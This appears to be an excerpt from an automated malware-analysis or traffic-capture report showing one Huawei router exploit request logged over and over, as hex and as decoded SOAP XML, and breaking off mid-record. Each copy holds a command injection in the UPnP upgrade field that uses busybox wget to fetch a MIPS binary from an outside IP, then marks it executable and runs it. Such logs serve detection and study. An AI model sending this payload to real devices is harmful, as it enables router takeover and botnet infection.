3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo 